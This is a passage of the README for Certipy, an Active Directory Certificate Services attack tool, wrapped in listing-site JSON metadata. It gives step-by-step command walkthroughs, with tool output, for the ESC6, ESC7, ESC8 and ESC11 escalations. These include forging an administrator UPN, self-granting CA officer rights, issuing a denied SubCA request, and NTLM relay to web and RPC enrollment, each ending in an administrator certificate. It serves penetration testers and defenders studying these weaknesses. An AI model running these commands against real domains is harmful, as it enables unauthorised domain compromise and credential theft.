arbitrary SAN on all certificates despite a certificate template's configuration. After the patch for my reported vulnerability [CVE-2022–26923](https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4), this technique no longer works alone, but must be combined with [ESC10](https://research.ifcr.dk/7237d88061f7).\n\nThe attack is the same as ESC1, except that you can choose any certificate template that permits client authentication. After the May 2022 security updates, new certificates will have a securiy extension that embeds the requester's `objectSid` property. For ESC1, this property will be reflected from the SAN specified, but with ESC6, this property reflects the requester's `objectSid`, and not from the SAN. Notice that the objectSid changes depending on the requester in the following example.\n\n```bash\n$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Requesting certificate via RPC\n[*] Successfully requested certificate\n[*] Request ID is 2\n[*] Got certificate with UPN 'administrator@corp.local'\n[*] Certificate object SID is 'S-1-5-21-2496215469-2694655311-2823030825-1103'\n[*] Saved certificate and private key to 'administrator.pfx'\n\n$ certipy req -username administrator@corp.local -password Passw0rd! -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Requesting certificate via RPC\n[*] Successfully requested certificate\n[*] Request ID is 3\n[*] Got certificate with UPN 'administrator@corp.local'\n[*] Certificate object SID is 'S-1-5-21-2496215469-2694655311-2823030825-500'\n[*] Saved certificate and private key to 'administrator.pfx'\n```\n\nThis would not happen if the certificate was vulnerable to ESC1. As such, to abuse ESC6, the environment must be vulnerable to ESC10 (Weak Certificate Mappings), where the SAN is preferred over the new security extension. \n\n#### ESC7\n\nESC7 is when a user has the `Manage CA` or `Manage Certificates` access right on a CA. There are no public techniques that can abuse the `Manage Certificates` access right for domain privilege escalation, but it can be used it to issue or deny pending certificate requests.\n\nThe [\"Certified Pre-Owned\"](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) whitepaper mentions that this access right can be used to enable the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag to perform the ESC6 attack, but this will not have any effect until the CA service (`CertSvc`) is restarted. When a user has the `Manage CA` access right, the user is also allowed to restart the service. However, it does not mean that the user can restart the service remotely. Furthermore, ESC6 might not work out of the box in most patched environments due to the May 2022 security updates.\n\nInstead, I've found another technique that doesn't require any service restarts or configuration changes.\n\n**Prerequisites**\n\nIn order for this technique to work, the user must also have the `Manage Certificates` access right, and the certificate template `SubCA` must be enabled. With the `Manage CA` access right, we can fulfill these prerequisites.\n\nThe technique relies on the fact that users with the `Manage CA` *and* `Manage Certificates` access right can issue failed certificate requests. The `SubCA` certificate template is vulnerable to ESC1, but only administrators can enroll in the template. Thus, a user can request to enroll in the `SubCA` - which will be denied - but then issued by the manager afterwards.\n\nIf you only have the `Manage CA` access right, you can grant yourself the `Manage Certificates` access right by adding your user as a new officer.\n\n```bash\n$ certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Successfully added officer 'John' on 'corp-DC-CA'\n```\n\nThe `SubCA` template can be enabled on the CA with the `-enable-template` parameter. By default, the `SubCA` template is enabled.\n\n```bash\n$ certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Successfully enabled 'SubCA' on 'corp-DC-CA'\n```\n\n**Attack**\n\nIf we have fulfilled the prerequisites for this attack, we can start by requesting a certificate based on the `SubCA` template.\n\nThis request will be denied, but we will save the private key and note down the request ID.\n\n```bash\n$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Requesting certificate via RPC\n[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.\n[*] Request ID is 785\nWould you like to save the private key? (y/N) y\n[*] Saved private key to 785.key\n[-] Failed to request certificate\n```\n\nWith our `Manage CA` and `Manage Certificates`, we can then issue the failed certificate request with the `ca` command and the `-issue-request \u003crequest ID\u003e` parameter.\n\n```bash\n$ certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Successfully issued certificate\n```\n\nAnd finally, we can retrieve the issued certificate with the `req` command and the `-retrieve \u003crequest ID\u003e` parameter.\n\n```bash\n$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Rerieving certificate with ID 785\n[*] Successfully retrieved certificate\n[*] Got certificate with UPN 'administrator@corp.local'\n[*] Certificate has no object SID\n[*] Loaded private key from '785.key'\n[*] Saved certificate and private key to 'administrator.pfx'\n```\n\n#### ESC8\n\nESC8 is when an Enrollment Service has installed and enabled Web Enrollment via HTTP.\n\nTo start the relay server, we can run the `relay` command and specify the CA's IP in `-target http://\u003cip\u003e`.\n\nBy default, Certipy will request a certificate based on the `Machine` or `User` template depending on whether the relayed account name ends with `$`. It is possible to specify another template with the `-template` parameter.\n\nWe can then use a tool such as [Coercer](https://github.com/p0dalirius/Coercer) to coerce authentication. For domain controllers, we must specify `-template DomainController`.\n\n```bash\n$ certipy relay -target 'http://ca.corp.local'\nCertipy v4.7.0 - by Oliver Lyak (ly4k)\n\n[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp (ESC8)\n[*] Listening on 0.0.0.0:445\n[*] Requesting certificate for 'CORP\\\\Administrator' based on the template 'User'\n[*] Got certificate with UPN 'Administrator@corp.local'\n[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'\n[*] Saved certificate and private key to 'administrator.pfx'\n[*] Exiting...\n```\n\n#### ESC9 \u0026 ESC10\n\nESC9 and ESC10 is not related to any specific Certipy commands or parameters, but can be abused with Certipy. See the [blog post](https://research.ifcr.dk/7237d88061f7) for more information.\n\n#### ESC11\n\nESC11 is when the certificate authority is not configured with IF_ENFORCEENCRYPTICERTREQUEST. This makes the RPC service vulnerable to NTLM relay attacks without signing, such as via SMB. The attack is similar to ESC8, except that we're targeting the RPC protocol instead of the HTTP protocol.\n\nTo start the relay server, we can run the `relay` command and specify the CA's IP in `-target rpc://\u003cip\u003e`. We must also specify the name of the certificate authority in `-ca \u003cname\u003e`.\n\nBy default, Certipy will request a certificate based on the `Machine` or `User` template depending on whether the relayed account name ends with `$`. It is possible to specify another template with the `-template` parameter.\n\nWe can then use a tool such as [Coercer](https://github.com/p0dalirius/Coercer) to coerce authentication. For domain controllers, we must specify `-template DomainController`.\n\n```bash\n$ certipy relay -target 'rpc://ca.corp.local' -ca 'corp-ca'\nCertipy v4.7.0 - by Oliver Lyak (ly4k)\n\n[*] Targeting rpc://ca.corp.local (ESC11)\n[*] Listening on 0.0.0.0:445\n[*] Connecting to ncacn_ip_tcp:ca.corp.local[135] to determine ICPR stringbinding\n[*] Attacking user 'Administrator@CORP'\n[*] Template was not defined. Defaulting to Machine/User\n[*] Requesting certificate for user 'Administrator' with template 'User'\n[*] Requesting certificate via RPC\n[*] Successfully requested certificate\n[*] Request ID is 1\n[*] Got certificate with UPN 'Administrator@corp.local'\n[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'\n[*] Saved certificate and private key to 'administrator.pfx'\n[*] Exiting...\n```\n\n## Contact\n\nPlease submit any bugs, issues, questions, or feature requests under \"Issues\" or send them to me on Twitter [@ly4k_](https://twitter.com/ly4k_).\n\n## Credits\n\n- [Will Schroeder](https://twitter.com/harmj0y) and [Lee Christensen](https://twitter.com/tifkin_) for [Certified Pre-Owned](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) and [Certify](https://github.com/GhostPack/Certify)\n- [Dirk-jan](https://twitter.com/_dirkjan) for [PKINITtools](https://github.com/dirkjanm/PKINITtools)\n- [ShutdownRepo](https://github.com/ShutdownRepo) for [PyWhisker](https://github.com/ShutdownRepo/pywhisker)\n- [zer1t0](https://github.com/zer1t0) for [certi](https://github.com/zer1t0/certi)\n- [Ex Android Dev](https://github.com/ExAndroidDev) and [Tw1sm](https://github.com/Tw1sm) for Impacket's [adcsattack.py](https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py)\n- [SecureAuthCorp](https://github.com/SecureAuthCorp) and all the [contributors](https://github.com/SecureAuthCorp/impacket/graphs/contributors) for [Impacket](https://github.com/SecureAuthCorp/impacket)\n- [skelsec](https://github.com/skelsec) for [pypykatz](https://github.com/skelsec/pypykatz)\n","funding_links":[],"categories":["Network Tools","Operating Systems","Python"],"sub_categories":["Vulnerable Apps","Windows"],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fly4k%2FCertipy","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fly4k%2FCertipy","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fly4k%2FCertipy/lists"}